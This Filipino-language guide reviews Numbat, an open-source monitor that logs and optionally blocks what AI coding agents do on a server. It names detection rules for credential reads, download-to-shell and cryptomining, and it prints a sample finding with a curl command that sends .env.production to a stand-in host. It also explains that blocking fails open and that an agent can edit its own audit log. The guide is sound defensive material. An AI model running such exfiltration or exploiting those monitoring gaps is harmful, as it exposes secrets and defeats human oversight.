SSD Nodes Learn 🎉 VPS mula $4.99/buwan
Mga Gabay Matt ConnorNi Matt Connor · Na-update 2026-08-07

Numbat: Tingnan ang Ginagawa ng AI Agent Mo

Open source ang Numbat ng Perplexity: endpoint monitor ito na nagtatala ng aktuwal na ginagawa ng AI coding agents sa server, at ipinapakitang hindi nito lahat mapipigilan.

Ano ang Numbat

Binibigyan ka ng Numbat ng visibility sa mga ginawa ng isang AI agent sa machine na pagmamay-ari mo. Binabasa nito ang hook callback at session file na ginagawa na ng mga coding agent, ginagawa itong iisang event format, at itinutugma ang mga ito sa mga rule na nagti-trigger batay sa gawi, gaya ng pagbabasa ng SSH private key o direktang pag-pipe ng download sa shell. Inilabas ito ng Perplexity bilang open source sa ilalim ng Apache 2.0, at ang unang tagged release nito ay noong 29 July 2026.

Ang lahat ng nasa ibaba ay mula sa repository ng proyekto at sa sarili nitong documentation, na binasa noong 2 August 2026. Kapag may claim ang Perplexity, malinaw itong sinasabi ng post na ito. Hindi ito install tutorial dahil ilang araw pa lamang ang repository at magbabago ang mga command nito.

Ang problema: walang nagtatala ng ginawa ng agent

Ang coding agent sa iyong VPS ay nagpapatakbo ng shell commands, nagbabasa at nagsusulat ng files, at nagbubukas ng network connections, lahat gamit ang user na ibinigay mo rito. Hindi itinatala ng shell history ang alinman sa mga iyon dahil hindi nagta-type ang agent sa iyong shell. Itinatala ng sshd ang iyong login at wala nang iba sa mga ginawang desisyon ng model pagkatapos nito. Tahimik ang /var/log/auth.log maliban kung may nag-access sa sudo. May sarili mang transcript ang agent, nasa session directory ng agent ang file na iyon, nagbabago ang format nito sa bawat release, at maaaring sulatan ito ng sariling process ng agent.

Kaya kapag may nagtanong kung binasa ng agent ang .env.production noong nakaraang Martes, ang tapat na sagot sa karamihan ng server ay hindi mo matutukoy. Iyon ang puwang na tinutugunan ng project na ito.

Ano ang sinasabi ng Perplexity na ginagawa ng Numbat

Nagsisimula ang README sa paglalarawan sa tool bilang “endpoint visibility into AI agent activity, with local detection, optional pre-action blocking, and forensic reconstruction”. Ang endpoint dito ay ang machine kung saan tumatakbo ang agent, hindi isang network appliance na sumusubaybay mula sa labas. Magkakaibang capability ang mga ito, at magkakaiba rin ang bigat ng bawat isa.

Tumatakbo ang detection sa device. Isinusulat ang mga rule sa CEL (common expression language) at lokal na ine-evaluate, na may multi-step sequence rules at suporta para sa sarili mong mga rule sa YAML. Walang kailangang lumabas sa machine para ma-trigger ang isang rule.

Optional at limitado ang blocking. Gumagana lamang ito sa pamamagitan ng synchronous pre-action hooks, sa mga agent na naglalantad ng ganoong hook, at naka-off ito hanggang sa i-enable mo.

Isinasagawa ang reconstruction pagkatapos mangyari ang mga event. Bine-parse ng numbat scan ang mga session artifact na naisulat na ng agent sa disk, kaya maaari mong suriin ang activity bago ka pa nag-install ng anuman. Nililimitahan nang malinaw ng project ang claim na ito: “Ang at-rest reconstruction ay hindi disk o memory acquisition at hindi nito mababawi ang activity na hindi na-persist ng agent.”

Versioned NDJSON (newline delimited JSON) ang output. Saklaw nito ang mga event, finding, enforcement decision, indicator, at scan summary, gamit ang schema version 0.2.0 sa v0.1.2. Isinusulat ang mga record sa stdout o sa isang local file, at maaari ring ipadala sa HTTP sa isang collector na pinapatakbo mo. Ibinibigay ito bilang isang static Go binary na binuo nang walang cgo, para sa macOS, Linux, at Windows sa amd64 at arm64. Kaya sa isang Linux VPS, isang file lamang ito at walang runtime na kailangang i-install muna.

Aling mga agent ang aktuwal na nakikita ng Numbat?

Ang coverage matrix sa docs/agent-coverage.md ang authoritative na listahan, at hindi pantay ang coverage nito. Malinaw itong sinasabi ng project sa halip na itago. May parehong artifact scanning at live capture na may pre-action hook ang Claude Code, Codex, Gemini CLI, Cursor, at GitHub Copilot CLI. May native plugin ang OpenClaw simula sa version 2026.7.1. Maraming entry ang may markang deferred. Ibig sabihin, may live hook path pero walang artifact parser. Kadalasan, dahil iniimbak ng agent ang history nito sa SQLite na may write-ahead log na hindi ligtas basahin habang tumatakbo ang agent. Kasama sa grupong iyon ang OpenCode at Cline noong sinuri ang matrix noong 2 August 2026.

Suriin ang row para sa agent mo bago ka magplano gamit ang tool na ito, dahil iba-iba ang ibig sabihin ng “supported” sa halos bawat linya.

Ganito nakikita ang isang detection

May mga id ang rules na nagsasabi kung para saan ang mga ito. Sinasaklaw ng secrets.read_private_key ang SSH key, AWS credentials, kube config, o login sa package registry. Nagti-trigger ang exec.download_pipe_shell kapag ipinasa ang output ng curl o wget sa isang interpreter gamit ang pipe. Tine-trace ng privilege.elevated_shell ang request para sa interactive root shell sa pamamagitan ng sudo, doas, su, o pkexec. Tumatapat ang impact.cryptomining_launch sa mga kilalang miner binary at image name.

Pinagsasama ng sequence rules ang mga event sa loob ng isang session. Kailangan ng chain.secret_read_then_egress ang pagbasa sa isang secret file na sinusundan ng command na naglalabas ng data. Inilalathala ng README ang finding sa ibaba mula sa isang controlled replay ng dalawang Claude Code pre-action callback, hindi mula sa isang aktwal na insidente. Pinili lamang dito ang mga field na mahalaga:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Pansinin ang "confidence": "medium" na nasa loob ng record. Pansinin din ang sinasabi ng proyekto tungkol sa buong uri ng output na ito: "Ang findings ay mga rule match, hindi patunay na na-breach ang server." Matutugma rin sa parehong sequence rule ang deploy script na nagbabasa ng key at pagkatapos ay nag-a-upload ng build artifact. Tama ang match, pero mali ang alarm. Ito ang karaniwang kalagayan ng bawat detection tool na nagamit mo.

Naka-off ang blocking bilang default, at fail-open ito

Monitor-only ang bawat rule na nire-release ng Numbat. Sadyang configuration work ang pag-convert ng isang rule para maging block: kopyahin ang kumpletong YAML ng rule sa sarili mong directory, panatilihin ang parehong id, idagdag ang enforce: true, i-bump ang version, pagkatapos ay i-validate at i-install ang policy na iyon.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Ngayon, ang bahagi na tumutukoy kung gaano mo ito dapat pagkatiwalaan. Ang deny ng Numbat ay response na ibinabalik sa agent, at ang agent ang aktuwal na tumatanggi sa tool call. Malinaw ang enforcement guide tungkol sa nangyayari kapag nagkaproblema mismo ang Numbat: "Pinipigilan ng malformed payloads, mga kaugnay na evaluation error, panic, at output failure ang numbat deny." Naka-cap sa 4 MiB ang hook input, at pareho ring path ang ginagamit ng oversized input.

Malinaw rin ang guide tungkol sa limitasyon ng deny kapag naihatid ito: "Ang fail-open ay nangangahulugang hindi ipinapadala ng numbat ang deny response nito. Hindi nito ginagarantiya na mag-e-execute ang tool: maaari pa ring mag-prompt, mag-deny, mag-time out, o maglapat ng ibang hook o policy ang host."

Kaya ang enforcement dito ay guardrail, hindi boundary. Kapag nag-crash ang process, hindi bina-block ng Numbat ang action, dahil ma-o-uninstall sa loob ng isang linggo ang monitor na pinapahinto ang agent sa tuwing nagkakaproblema ito. Makatuwiran ang trade-off. Huwag ka lang bumuo ng security model na ipinapalagay na palaging dumarating ang deny.

Kung saan pumapailalim ang Numbat sa kasalukuyan mong setup

Tumatakbo ang Numbat sa endpoint, sa loob ng sariling process tree ng agent, at nagsusulat sa ~/.numbat/records.ndjson bilang default. Maaaring basahin ng agent na tumatakbo bilang user mo ang file na iyon. Maaari rin nitong baguhin ang file. Kasinghalaga lamang ng isolation sa paligid nito ang audit trail. Dahil dito, dapat nasa harap ng Numbat ang lahat ng control na ginagamit mo na, hindi nasa likod nito.

Pagbibigay ng disposable VM sa coding agent ang naglilimita sa maaabot ng isang hindi ligtas na run. Isang least-privilege user sa VPS ang pumipigil sa agent na magbukas ng mga file na wala itong dahilan para buksan. Pag-iwas na mailagay ang credentials sa context ng agent ang dahilan kung bakit sapat na madalang ang secrets.read_private_key match para maging sulit basahin kapag lumitaw ito. At ang sandbox na ise-setup mo para sa Claude Code sa isang VPS pa rin ang nagsasagawa ng containment.

Ang idinaragdag ng Numbat ay ang record. Kaya ipadala ang record sa lugar na hindi maaabot ng agent. Para rito ang numbat ship at ang HTTP sink. Ang kopya ng stream sa ikalawang machine ang naghihiwalay sa isang log file sa ebidensiya. May mga field din para sa MCP (model context protocol) ang event model. Dahil dito, napupunta sa parehong stream ang mga tool call na dumaraan sa isang MCP server na naka-host mo sa isang VPS at ang mga local shell command. Mahalaga ito dahil hindi nakikita ang path na iyon ng anumang nagmo-monitor lamang sa bash.

Subukan muna sa read-only mode

Mag-install ng naka-pin na version. Kailangan ng Go 1.26.5 o mas bago para sa go install. May mga prebuilt binary na may SHA-256 checksum sa releases page kung ayaw mong mag-build mula sa source.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

Tinutukoy ng numbat agents ang mga agent na naka-install sa box. Pinoproseso ng numbat scan ang mga session artifact na nasa disk na at nagpi-print ng mga record. Ayon sa README, ang mga command na ito ay “hindi nag-i-install ng hooks o nagbabago ng configuration ng agent,” at “hindi kailanman nag-e-execute ng mga agent o command na makita sa mga artifact ang numbat, at nagpapadala lamang ito ng outbound request sa mga naka-configure na HTTP sink.” Read-only ang scanning at may secret redaction. Hindi kailanman kasama sa normal na record output ang kumpletong raw transcript.

Ang live capture ang susunod na hakbang, at binabago nito ang configuration ng agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

Isinusulat ng --emit all ang mga event, finding, indicator, at naaangkop na enforcement decision sa ~/.numbat/records.ndjson. May dalawang paalala mismo mula sa project. Maaaring kailanganing i-trust ang hooks sa loob ng agent bago pa man tumakbo ang mga ito. Kailangan ding suriin muli ang trust na iyon pagkatapos mong baguhin ang mga flag gaya ng --enforce. At ang hook status ay “nagve-verify ng configuration, hindi ng execution o delivery,” kaya hindi patunay ang healthy status line na may mga record na nakakarating sa anumang destination.

Bakit hindi dependency ang ganito kabagong repository

Ang mga public release ay v0.1.1 noong 29 July 2026 at v0.1.2 noong 1 August 2026. May 597 stars ang repository nang isulat ang post na ito noong 2 August 2026. Ang bilis ng pagtaas ng mga numerong ito ay nagpapakita ng audience ng Perplexity, hindi kung gaano katatag ang code. Ang star ay nangangahulugang may nag-save ng page para balikan sa ibang pagkakataon.

Tapat ang version number tungkol sa kasalukuyang estado nito. Ang v0.1.2 notes ay kadalasang tungkol sa mga pag-aayos sa credential redaction, pati sa case bundle at telemetry normalisation. Inaasahan ang ganitong uri ng redaction bug sa mga maagang defect ng tool na kailangang ligtas na magbasa ng mga transcript mula sa ibang program, at mas marami pa ang lilitaw dahil nagmumula ang mga input sa isang dosenang agent na kanya-kanyang nagbabago ng format ayon sa sarili nilang schedule.

Dalawang praktikal na tuntunin ang dapat sundin. I-pin ang tag, hindi ang @latest, sa anumang itatabi mo. Ituring ito bilang instrumentong sinusuri mo, hindi bilang control na inaasahan mong gagana, kahit hanggang sa tumigil sa paggalaw ang record schema.

FAQ

Hinaharang ba ng Numbat ang mga mapanganib na command ng AI agent?

Oo lamang kung kusa mo itong i-enable, at best effort lamang ang pagharang. Lahat ng rule na nire-release ng Numbat ay monitor-only. Para mag-block, kopyahin ang YAML ng rule sa sarili mong directory, panatilihin ang id nito, idagdag ang enforce: true, i-increment ang version, at i-install ang hook gamit ang --enforce. Kahit ganoon, ang deny ay response na ipinapasa pabalik sa agent, at ang agent ang tumatanggi sa call. Idinodokumento ng project ang fail-open behavior: pinipigilan ng malformed payloads, evaluation errors, panics, at output failures ang deny. Gamitin ito bilang guardrail, hindi bilang nag-iisa mong boundary.

Aling mga AI agent ang sinusuportahan ng Numbat?

Nagkakaiba ang coverage sa bawat agent at nakalista ito sa docs/agent-coverage.md sa repository. May artifact scanning at live capture ang Claude Code, Codex, Gemini CLI, Cursor, at GitHub Copilot CLI noong binasa ang page noong 2 August 2026, at may native plugin ang OpenClaw mula version 2026.7.1. Marami pang ibang agent ang nakalista na may live hook path ngunit wala pang artifact parser, karaniwan dahil nasa SQLite database ang session history ng mga ito na hindi ligtas basahin habang tumatakbo ang agent. Basahin ang row para sa agent mo, dahil maraming magkakaibang antas ang saklaw ng salitang “supported” doon.

Maaari bang pakialaman ng agent ang mga record ng Numbat?

Oo, kung tumatakbo ito bilang parehong user. Bilang default, nasa ~/.numbat/records.ndjson ang mga record sa parehong machine ng agent, kaya maaaring baguhin o burahin ng anumang may write access sa path na iyon ang mga ito. Ipadala ang stream sa collector na hindi maabot ng agent gamit ang numbat ship o ang HTTP sink, at panatilihin ang local file bilang convenience copy. Ito rin ang dahilan kung bakit pandagdag ang tool sa isolation sa halip na pamalit dito. Ang agent na nakakulong sa disposable VM at tumatakbo sa ilalim ng least privilege user ay mas kaunti ang maaabot sa sarili nitong audit trail.

Handa na ba ang Numbat para sa production server?

Hindi bilang control na aasahan mo. Ang unang public release ay v0.1.1 noong 29 July 2026, at sinundan ito ng v0.1.2 noong 1 August 2026, kaya patuloy pang nagbabago ang mga flag at ang record schema. Ang pagpapatakbo ng numbat agents at numbat scan sa isang box ay read-only at mababa ang risk, at ipapakita nito kung ano ang iniiwan ng mga agent mo sa disk. Ibang desisyon ang pag-install ng enforcement hooks sa isang mahalagang server, at kailangan nito ng pinned tag at plano para sa mangyayari kapag hindi gumana nang tama ang hook.